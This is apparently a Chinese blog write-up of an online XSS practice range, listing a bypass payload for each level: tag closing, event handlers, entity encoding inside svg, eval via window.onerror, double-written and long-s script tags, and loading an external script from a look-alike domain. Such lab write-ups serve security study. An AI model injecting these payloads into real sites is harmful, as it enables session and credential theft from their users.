当前位置: 首页 > news >正文

XSS中级漏洞(靶场)

目录

一、环境

二、正式开始闯关

0x01

0x02

0x03

0x04

0x05

0x06

0x07

0x08

0x0B

0x0C

 0x0D

0x0E

​ 0x0F

0x10

0x11

0x12


一、环境

在线环境(gethub上面的)

alert(1)

二、正式开始闯关

0x01

源码:

思路:闭合标签注入

</textarea><script>alert(1)</script>

0x02

源码:

思路:跟上一题一样

1" onclick="alert(1)

也可以用户不参与去触发给后面加一个标签就可以了

1"><script>alert(1)</script>

0x03

源码:

思路: 有一个正则把括号过滤掉了,用html实体转码

很明显不行,那试一下<a>标签

<a href="javascript:alert&#40;1&#41;">aaaaa</a>

很容易过了

原因:编码是有顺序的,urlcode-->html实体编码--->unicode实体编码

第二种方法:括号替换

<script>alert`1`</script>

0x04

刚才第三关的第一种做法是照样绕过的

svg标签是照样绕过的

<svg><script>alert&#40;1&#41</script></svg>

 svg和html是不同的命名空间,在svg中script是可以实现一个实体编码的

还有一种方法Windows.oneror

<script>window.onerror=eval;throw'=alert\u00281\u0029'</script>

throw是抛异常的,我们再用eval接到,在throw下可以支持符号编码 

0x05

闭合输出

--!><script>alert(1)</script>

0x06

利用点:html支持换行

因为on和等号是整体所以加了等号

onclick
=alert(1)

还有一种用户不参与的方式

type=image src=1 onerror
=alert(1)

0x07

利用html自动纠错

<img src=1 onerror="alert(1)"

<svg/onload="alert(1)"

0x08

源码:

解法:固定过滤,利用空格

0x09

一个小技巧

https://www.segmentfault.com.haozi.me/j.js

很明显

0x0A

跟上一关一样,解析顺序,解析的时候已经被实体编码转译了

0x0B

我们正常操作无法绕过直接进行实体编码,直接也就过了

</h1><svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;(1)</script>

单标签也可以绕过

<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

0x0C

单标签也可以绕过

<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

双写也可以绕过

<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>

 0x0D

技巧:写在前面可以注释,写在后面无法注释了


alert(1)
-->

0x0E

技巧:字符替换

长s字符:ſ

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

 0x0F

原理:先编码再解码

');alert('1

0x10

先闭合掉

1;alert(1)

0x11

利用替换两个反斜杠

");alert("1

0x12

转义符没有被过滤

\"); alert(1); //

第二种方法:通过闭合前面script标签来再输入script标签

</script> <script>alert(1)</script><script>

http://www.lryc.cn/news/309105.html

相关文章:

  • etcd java 客户端jetcd库踩坑日志
  • <网络安全>《61 微课堂<第1课 南北向流量是什么?>》
  • Day12-【Java SE进阶】JDK8新特性:Lambda表达式、方法引用、常见算法、正则表达式、异常
  • go mod中如何解决 xxx/yyy/lib@v1.1.0: unrecognized import path
  • 比较Python和Rust的内存管理机制
  • Linux系统——Shell脚本——一键安装LNMP
  • 算法复习之二分【备战蓝桥杯】
  • 如何做代币分析:以 SHIB 币为例
  • Springboot+vue的考勤管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。
  • https://htmlunit.sourceforge.io/
  • 回文链表(leetcode)
  • 大语言模型(LLM)技术名词表(一)
  • C++ 快速排序快速选择
  • 雅马哈伺服器TS-S系列说明具体详情内容可参看PDF目录内容
  • SpringBoot底层原理
  • 【golang】25、图片操作
  • kswapd0挖矿病毒攻击记录
  • 如何使用 takeUntil RxJS 操作符来声明性地管理订阅
  • 在Centos中用Docker部署oracle-12c
  • JS进阶——高级技巧
  • TG-ADMIN 权限管理系统
  • 十五届蓝桥杯第三期模拟赛题单(C++、java、Python)
  • 嵌入式驱动学习第一周——git的使用
  • 界面控件DevExpress .NET MAUI v23.2新版亮点 - 拥有全新的彩色主题
  • 大语言模型LLM Pro+中Pro+(Prompting)的意义
  • React 中,children 属性
  • 多行业万能预约门店小程序源码系统 支持多门店预约小程序 带完整的安装代码包以及搭建教程
  • Node.js 中 fs 模块文件操作的应用教程
  • 一些常用到的git命令
  • spring boot3解决跨域的几种方式